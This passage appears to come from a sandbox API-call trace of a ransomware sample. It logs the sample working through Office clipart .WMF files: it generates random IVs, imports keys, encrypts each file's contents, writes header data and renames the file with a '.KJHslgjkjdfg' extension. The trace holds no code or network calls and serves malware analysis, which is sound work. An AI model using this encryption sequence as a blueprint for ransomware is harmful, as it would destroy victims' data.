pdwDataLen=0x290f258*=0x40) returned 1 [0158.287] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.287] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.290] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.290] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.290] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.290] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.290] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.290] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.290] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.290] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.290] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2040, lpOverlapped=0x0) returned 1 [0158.291] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2040, dwBufLen=0x2040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2040) returned 1 [0158.291] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.291] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2040, lpOverlapped=0x0) returned 1 [0158.292] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.292] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.292] SetEndOfFile (hFile=0x114) returned 1 [0158.294] GetProcessHeap () returned 0x2a0000 [0158.294] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.294] GetProcessHeap () returned 0x2a0000 [0158.294] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.kjhslgjkjdfg")) returned 1 [0158.295] CloseHandle (hObject=0x114) returned 1 [0158.295] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0158.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.296] GetProcessHeap () returned 0x2a0000 [0158.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.296] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.296] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.296] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.298] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.298] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.298] GetProcessHeap () returned 0x2a0000 [0158.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.298] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.298] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.298] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.298] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.299] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.299] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.299] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.299] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.299] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.299] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.299] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.299] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x73bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x73bc, lpOverlapped=0x0) returned 1 [0158.300] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x73c0, dwBufLen=0x73c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x73c0) returned 1 [0158.301] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.301] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x73c0, lpOverlapped=0x0) returned 1 [0158.301] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.301] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.301] SetEndOfFile (hFile=0x114) returned 1 [0158.304] GetProcessHeap () returned 0x2a0000 [0158.304] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.304] GetProcessHeap () returned 0x2a0000 [0158.304] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.kjhslgjkjdfg")) returned 1 [0158.305] CloseHandle (hObject=0x114) returned 1 [0158.305] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0158.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.307] GetProcessHeap () returned 0x2a0000 [0158.307] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.307] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.307] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.307] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0158.310] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.310] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.310] GetProcessHeap () returned 0x2a0000 [0158.310] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.310] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.310] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.310] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.310] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.310] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.310] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.310] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.310] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.310] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.310] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa82, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa82, lpOverlapped=0x0) returned 1 [0158.311] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa90, dwBufLen=0xa90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa90) returned 1 [0158.311] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.311] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa90, lpOverlapped=0x0) returned 1 [0158.311] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.311] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.311] SetEndOfFile (hFile=0x114) returned 1 [0158.313] GetProcessHeap () returned 0x2a0000 [0158.313] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.313] GetProcessHeap () returned 0x2a0000 [0158.313] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.kjhslgjkjdfg")) returned 1 [0158.315] CloseHandle (hObject=0x114) returned 1 [0158.315] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0158.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.315] GetProcessHeap () returned 0x2a0000 [0158.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.315] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.315] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.315] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.315] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.315] GetProcessHeap () returned 0x2a0000 [0158.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.316] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.316] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.316] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.318] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.318] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.318] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.318] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.318] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.318] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.318] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.319] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.319] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb10, lpOverlapped=0x0) returned 1 [0158.319] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb10, dwBufLen=0xb10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb10) returned 1 [0158.319] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.319] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb10, lpOverlapped=0x0) returned 1 [0158.319] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.319] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.319] SetEndOfFile (hFile=0x114) returned 1 [0158.321] GetProcessHeap () returned 0x2a0000 [0158.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.321] GetProcessHeap () returned 0x2a0000 [0158.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.kjhslgjkjdfg")) returned 1 [0158.328] CloseHandle (hObject=0x114) returned 1 [0158.329] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0158.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.330] GetProcessHeap () returned 0x2a0000 [0158.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.330] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.330] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.330] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.332] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.332] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.333] GetProcessHeap () returned 0x2a0000 [0158.333] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.333] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.333] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.333] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.333] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.333] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.333] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.333] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.333] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.333] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.333] 